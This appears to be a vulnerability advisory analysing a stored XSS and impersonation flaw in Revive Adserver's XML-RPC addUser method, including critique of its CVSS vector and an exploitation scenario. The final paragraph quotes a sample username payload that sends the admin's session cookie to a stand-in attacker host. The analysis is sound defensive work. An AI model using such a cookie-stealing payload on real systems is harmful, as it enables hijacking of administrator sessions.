Revive Adserver EUVD-2026-38504

Exploitation requires possession of valid Revive Adserver API credentials with sufficient permissions to invoke the addUser XML-RPC method - this is not a capability available to unauthenticated anonymous users, despite the erroneous PR:N in the provided CVSS placeholder. The XML-RPC endpoint must be network-reachable from the attacker. For the stored XSS impact to materialize, a victim with administrative or elevated privileges must subsequently navigate to the user management interface where the malicious username is rendered - this requires victim browser interaction and limits exploitation to scenarios where an admin session can be targeted. The impersonation vector is limited to contexts where administrators or other users rely on usernames as identity indicators without additional verification. Deployments where the XML-RPC API is firewalled from untrusted networks are not exploitable remotely. The regression dependency on CVE-2025-55129 means only instances that applied the prior patch but have not yet received the current fix are in the vulnerable state.

The supplied CVSS 3.0 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) is a null placeholder that cannot be used for risk assessment - it credits zero impact across all dimensions while the description clearly describes stored XSS and impersonation, which are material confidentiality and integrity risks. The PR:N claim conflicts with the phrase 'API users could create usernames,' which implies a required authentication step. No EPSS score was provided, so probabilistic exploitation likelihood cannot be quantified. The absence of a CISA KEV listing and any identified public POC suggests exploitation has not been broadly observed, though HackerOne disclosure may accelerate that timeline. Real-world risk is moderate and primarily driven by whether API credentials are broadly distributed or externally accessible: organizations restricting API access to internal trusted systems face substantially lower exposure than those with public-facing XML-RPC endpoints. The impersonation vector adds social-engineering and privilege-escalation risk beyond the XSS alone, particularly in multi-tenant ad server deployments.

An attacker with valid API credentials submits an XML-RPC addUser request to a Revive Adserver instance, specifying a username such as '<script>document.location=\'https://attacker.tld/steal?c=\'+document.cookie</script>' or a string closely resembling an administrator account name. Because input validation is bypassed, the payload is stored without sanitization. When an administrator next opens the user management panel, the stored XSS payload executes in their browser, exfiltrating the admin session cookie to attacker-controlled infrastructure and granting full account takeover. No public POC has been identified at time of analysis, but the technique is well within the capability of any user possessing API credentials.